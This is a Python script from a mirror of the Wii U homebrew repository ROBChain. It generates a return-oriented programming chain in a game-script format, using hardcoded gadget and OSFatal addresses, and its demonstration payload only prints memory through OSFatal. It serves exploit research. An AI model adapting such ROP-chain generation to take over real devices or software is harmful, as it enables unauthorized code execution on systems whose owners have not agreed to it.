mirror of
https://github.com/wiiu-env/ROBChain.git
synced 2024-11-05 11:15:06 +01:00
75 lines
1.5 KiB
Python
75 lines
1.5 KiB
Python
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# Addresses
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LOAD_R3_ADDR = 0x0C00C650
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OSFATAL_ADDR = 0x01031618
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def write32(u32):
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global script
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script += f"pushInt. {hex(u32)}\n"
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def writePayloadAddress():
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global script
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script += "pushVar. globalVar,mscScriptAddress\n"
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def writeEnd():
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global script
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script += "#Execute ROP chain\nexit\n\n#Dunno why but I figured I might as well put it here, should never hit this though\nend"
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"""
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Example payload (writeOSFatalPayload func)
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pushInt. 0xC00C650
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pushVar. globalVar,mscScriptAddress #r3 value (will be printed by OSFatal)
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pushInt. 0xBEEF0001
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pushInt. 0xBEEF0002
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pushInt. 0xBEEF0003
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pushInt. 0xBEEF0004
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pushInt. 0xBEEF0005
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pushInt. 0xBEEF0006
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pushInt. 0xBEEF0007
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pushInt. 0xBEEF0008
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pushInt. 0xBEEF0009
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pushInt. 0xBEEF000A
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pushInt. 0xBEEF000B
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pushInt. 0xBEEF000C
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pushInt. 0xBEEF000D
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pushInt. 0xBEEF000E
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pushInt. 0xBEEF000F
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pushInt. 0xBEEF0010
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pushInt. 0xBEEF0011
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pushInt. 0xBEEF0012
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pushInt. 0xBEEF0013
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pushInt. 0xBEEF0014
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pushInt. 0xBEEF0015
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pushInt. 0xBEEF0016
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pushInt. 0xBEEF0017
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pushInt. 0xBEEF0018
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pushInt. 0xBEEF0019
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pushInt. 0xBEEF001A
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pushInt. 0x01031618 #return address (OSFatal)
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"""
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# Print out contents of payload as null terminated string
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def writeOSFatalPayload():
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write32(LOAD_R3_ADDR)
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writePayloadAddress()
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for i in range(0x1A):
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write32(0xBEEF0000 + i + 1)
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write32(OSFATAL_ADDR)
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writeEnd()
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def main():
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global script
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with open('rop_setup.s', 'r') as f:
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script = f.read()
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writeOSFatalPayload()
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with open("main.s", 'w') as f:
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f.write(script)
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if __name__ == "__main__":
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main()
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